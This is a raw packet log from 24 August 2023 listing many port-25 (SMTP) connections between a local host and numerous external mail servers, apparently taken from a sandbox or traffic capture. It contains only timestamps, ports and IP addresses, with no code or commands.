Aug 24, 2023 19:03:55.892239094 CEST	25	50428	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.892441988 CEST	50428	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.895704031 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:55.897857904 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.897881985 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.897890091 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.897903919 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.897916079 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.897938013 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.897967100 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.897967100 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.898004055 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.898041010 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.898063898 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:55.901494026 CEST	25	50421	104.47.51.110	192.168.2.8
Aug 24, 2023 19:03:55.901686907 CEST	50421	25	192.168.2.8	104.47.51.110
Aug 24, 2023 19:03:55.907633066 CEST	25	50425	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:55.908847094 CEST	25	50429	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:55.913785934 CEST	50433	25	192.168.2.8	64.251.189.9
Aug 24, 2023 19:03:55.920675993 CEST	50434	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:55.925209045 CEST	25	50414	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.926928997 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:55.926953077 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:55.926971912 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:55.927104950 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:55.951133013 CEST	25	50430	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:55.951376915 CEST	50430	25	192.168.2.8	209.71.212.24
Aug 24, 2023 19:03:55.961782932 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:55.962032080 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:55.966187954 CEST	50435	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:55.970144987 CEST	25	50419	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.970263004 CEST	50419	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.983724117 CEST	25	50424	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:55.983989954 CEST	50424	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:55.984225035 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:55.984348059 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:55.989994049 CEST	25	50435	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:55.990175009 CEST	50435	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.006604910 CEST	25	50428	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.006948948 CEST	50428	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.008917093 CEST	25	50421	104.47.51.110	192.168.2.8
Aug 24, 2023 19:03:56.010808945 CEST	25	50421	104.47.51.110	192.168.2.8
Aug 24, 2023 19:03:56.010900974 CEST	50421	25	192.168.2.8	104.47.51.110
Aug 24, 2023 19:03:56.013638973 CEST	50436	25	192.168.2.8	209.71.208.7
Aug 24, 2023 19:03:56.015573978 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.017185926 CEST	25	50435	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.017355919 CEST	50435	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.019763947 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:56.020137072 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.020287037 CEST	50417	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.027697086 CEST	50437	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.032372952 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.034856081 CEST	25	50434	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.035006046 CEST	50434	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.041064024 CEST	25	50435	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.042776108 CEST	25	50431	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:56.042938948 CEST	50431	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.043267012 CEST	25	50435	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.043405056 CEST	50435	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.047342062 CEST	25	50420	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:56.047540903 CEST	50420	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.048824072 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.048979998 CEST	50427	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.051551104 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:56.051727057 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:56.052232981 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:56.052316904 CEST	50378	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:56.052598953 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.052681923 CEST	50422	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.053580999 CEST	25	50433	64.251.189.9	192.168.2.8
Aug 24, 2023 19:03:56.053747892 CEST	50433	25	192.168.2.8	64.251.189.9
Aug 24, 2023 19:03:56.067101002 CEST	25	50435	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.067189932 CEST	25	50437	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.067210913 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:56.067344904 CEST	50437	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.067387104 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:56.069850922 CEST	25	50435	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.070074081 CEST	50435	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.072716951 CEST	25	50435	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.072838068 CEST	50435	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.073216915 CEST	25	50430	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:56.073240995 CEST	25	50430	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:56.075841904 CEST	50438	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.080720901 CEST	25	50378	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:56.087500095 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:56.087791920 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:56.087969065 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:56.088479042 CEST	25	50415	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:56.088617086 CEST	50415	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:56.091150999 CEST	50439	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.093730927 CEST	25	50435	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.109009027 CEST	25	50437	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.109255075 CEST	50437	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.112605095 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.115062952 CEST	25	50439	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.115240097 CEST	50439	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.120289087 CEST	25	50428	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.120466948 CEST	25	50428	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.120634079 CEST	50428	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.128411055 CEST	25	50436	209.71.208.7	192.168.2.8
Aug 24, 2023 19:03:56.128598928 CEST	50436	25	192.168.2.8	209.71.208.7
Aug 24, 2023 19:03:56.136383057 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:56.136528969 CEST	50423	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:56.138536930 CEST	25	50424	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.142791033 CEST	25	50439	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.142975092 CEST	50439	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.148772955 CEST	25	50437	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.149708986 CEST	25	50434	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.149867058 CEST	25	50437	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.149877071 CEST	50434	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.149967909 CEST	50437	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.163222075 CEST	25	50424	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.163252115 CEST	25	50424	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.163271904 CEST	25	50424	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.163449049 CEST	50424	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.164340019 CEST	25	50419	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.166894913 CEST	25	50439	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.167996883 CEST	50424	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.168268919 CEST	50419	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.168737888 CEST	25	50439	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.168864965 CEST	50439	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.174397945 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.184684038 CEST	50440	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.189510107 CEST	25	50437	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.190756083 CEST	25	50437	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.190920115 CEST	50437	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.192228079 CEST	25	50437	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.192332029 CEST	50437	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.192753077 CEST	25	50439	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.194482088 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.194482088 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.194536924 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.194536924 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.194536924 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.194555044 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.194555044 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.194569111 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.194590092 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.194629908 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.194629908 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:56.195063114 CEST	25	50439	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.195187092 CEST	50439	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.197356939 CEST	25	50439	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.197453976 CEST	50439	25	192.168.2.8	104.47.1.33
Aug 24, 2023 19:03:56.199954033 CEST	25	50415	205.139.110.242	192.168.2.8
Aug 24, 2023 19:03:56.200084925 CEST	50415	25	192.168.2.8	205.139.110.242
Aug 24, 2023 19:03:56.201499939 CEST	50441	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.214481115 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:56.214718103 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:56.217833042 CEST	25	50431	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:56.218039989 CEST	50431	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.218981981 CEST	25	50420	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:56.219043016 CEST	25	50439	104.47.1.33	192.168.2.8
Aug 24, 2023 19:03:56.219084024 CEST	50420	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.221894026 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:56.221916914 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:56.221995115 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:56.222028017 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:56.225630999 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.230381966 CEST	25	50437	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.234158039 CEST	25	50428	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.234399080 CEST	50428	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.242701054 CEST	25	50436	209.71.208.7	192.168.2.8
Aug 24, 2023 19:03:56.242732048 CEST	25	50436	209.71.208.7	192.168.2.8
Aug 24, 2023 19:03:56.247709036 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.247942924 CEST	50422	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.248266935 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:56.248423100 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:56.261706114 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:56.263535976 CEST	50442	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.263887882 CEST	25	50434	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.264000893 CEST	25	50434	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.264128923 CEST	50434	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.272556067 CEST	50168	25	192.168.2.8	62.24.139.42
Aug 24, 2023 19:03:56.276081085 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.276397943 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.281204939 CEST	25	50424	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.297971964 CEST	25	50440	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.298340082 CEST	50440	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.310010910 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.319838047 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:56.320086002 CEST	50361	25	192.168.2.8	184.106.54.2
Aug 24, 2023 19:03:56.337260008 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:56.337500095 CEST	50423	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:56.351994038 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.353743076 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.353873014 CEST	50427	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.372674942 CEST	25	50441	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.372842073 CEST	50441	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.378879070 CEST	25	50434	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.379076004 CEST	25	50434	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.379106998 CEST	50434	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.379144907 CEST	50434	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.379374027 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:56.387192965 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.387474060 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.388123989 CEST	25	50428	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.388956070 CEST	25	50431	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:56.388986111 CEST	25	50431	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:56.389163017 CEST	50431	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.404628038 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.404783010 CEST	50438	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.411858082 CEST	25	50428	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.411878109 CEST	25	50428	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.411948919 CEST	50428	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.411967993 CEST	25	50428	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.412024975 CEST	50428	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.412060022 CEST	50428	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.412461042 CEST	25	50440	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.412580967 CEST	50440	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.417844057 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:56.417994976 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:56.420078993 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:56.422336102 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:56.422533989 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:56.430846930 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:56.434108019 CEST	25	50442	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.434247017 CEST	50442	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.451277018 CEST	50443	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:56.493175983 CEST	25	50434	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.494949102 CEST	25	50419	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.501629114 CEST	50444	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:56.506867886 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.506975889 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.512471914 CEST	50445	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:56.513314009 CEST	25	50417	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.513469934 CEST	50417	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.528526068 CEST	25	50428	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.528826952 CEST	50446	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.528851986 CEST	25	50440	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.529104948 CEST	25	50440	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.529294968 CEST	50440	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.542265892 CEST	25	50441	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.542401075 CEST	50441	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.543441057 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:56.543596029 CEST	25	50426	209.222.82.253	192.168.2.8
Aug 24, 2023 19:03:56.546480894 CEST	50447	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:56.551208973 CEST	25	50427	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.551325083 CEST	50427	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.556931973 CEST	25	50433	64.251.189.9	192.168.2.8
Aug 24, 2023 19:03:56.557187080 CEST	50433	25	192.168.2.8	64.251.189.9
Aug 24, 2023 19:03:56.562330961 CEST	25	50431	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:56.562555075 CEST	50431	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.564558029 CEST	25	50443	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:56.564814091 CEST	50443	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:56.571594000 CEST	25	50447	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:56.571955919 CEST	50447	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:56.575710058 CEST	50449	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.579860926 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.585050106 CEST	50426	25	192.168.2.8	209.222.82.253
Aug 24, 2023 19:03:56.597239017 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:56.597398996 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:56.597982883 CEST	50450	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:56.603286028 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.605465889 CEST	25	50447	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:56.605662107 CEST	50447	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:56.606436968 CEST	25	50442	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.606679916 CEST	50442	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.615511894 CEST	25	50444	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:56.615678072 CEST	50444	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:56.631210089 CEST	25	50447	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:56.631671906 CEST	50447	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:56.642617941 CEST	25	50440	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.642853022 CEST	50440	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:56.642885923 CEST	25	50446	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.643059015 CEST	50446	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.650387049 CEST	25	50445	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:56.650573015 CEST	50445	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:56.657368898 CEST	25	50447	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:56.657607079 CEST	50447	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:56.664891005 CEST	25	50419	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.665023088 CEST	50419	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.666810989 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:56.666838884 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:56.666883945 CEST	50361	25	192.168.2.8	184.106.54.2
Aug 24, 2023 19:03:56.666924953 CEST	50361	25	192.168.2.8	184.106.54.2
Aug 24, 2023 19:03:56.667948961 CEST	50451	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:56.669660091 CEST	25	50423	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:56.678759098 CEST	50383	25	192.168.2.8	204.174.64.46
Aug 24, 2023 19:03:56.683576107 CEST	25	50447	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:56.683764935 CEST	50447	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:56.697626114 CEST	25	50433	64.251.189.9	192.168.2.8
Aug 24, 2023 19:03:56.697855949 CEST	50433	25	192.168.2.8	64.251.189.9
Aug 24, 2023 19:03:56.705766916 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:56.708792925 CEST	25	50447	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:56.710314035 CEST	25	50447	52.101.73.12	192.168.2.8
Aug 24, 2023 19:03:56.710383892 CEST	50447	25	192.168.2.8	52.101.73.12
Aug 24, 2023 19:03:56.710525036 CEST	25	50441	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.711473942 CEST	25	50441	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.711599112 CEST	50441	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.712497950 CEST	25	50438	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.712598085 CEST	50438	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.713792086 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.717490911 CEST	25	50443	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:56.717613935 CEST	50443	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:56.717816114 CEST	25	50450	150.136.204.204	192.168.2.8
Aug 24, 2023 19:03:56.717940092 CEST	50450	25	192.168.2.8	150.136.204.204
Aug 24, 2023 19:03:56.733092070 CEST	50453	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.733679056 CEST	25	50431	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:56.733762980 CEST	50431	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.740154028 CEST	25	50056	108.178.59.182	192.168.2.8
Aug 24, 2023 19:03:56.740554094 CEST	50056	25	192.168.2.8	108.178.59.182
Aug 24, 2023 19:03:56.744416952 CEST	25	50422	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.744540930 CEST	50422	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.746298075 CEST	50454	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.746937990 CEST	25	50449	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:56.747047901 CEST	50449	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:56.757859945 CEST	25	50446	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:56.758044004 CEST	50446	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:56.775635958 CEST	25	50432	205.220.161.87	192.168.2.8
Aug 24, 2023 19:03:56.776276112 CEST	50432	25	192.168.2.8	205.220.161.87
Aug 24, 2023 19:03:56.777168036 CEST	25	50442	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.778155088 CEST	25	50442	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:56.778338909 CEST	50442	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:56.778645992 CEST	25	50444	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:56.778671026 CEST	25	50444	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:56.778754950 CEST	50444	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:56.778830051 CEST	50444	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:56.783076048 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:56.783366919 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.785823107 CEST	25	50454	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:56.786000967 CEST	50454	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:56.792176962 CEST	25	50445	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:56.792444944 CEST	50445	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:56.794821024 CEST	25	50451	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:56.794962883 CEST	50451	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:56.797537088 CEST	25	50440	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:56.813500881 CEST	25	50452	108.163.133.231	192.168.2.8
Aug 24, 2023 19:03:56.813899040 CEST	50452	25	192.168.2.8	108.163.133.231
Aug 24, 2023 19:03:56.821657896 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.821746111 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.821778059 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:56.821778059 CEST	50325	25	192.168.2.8	74.125.200.27
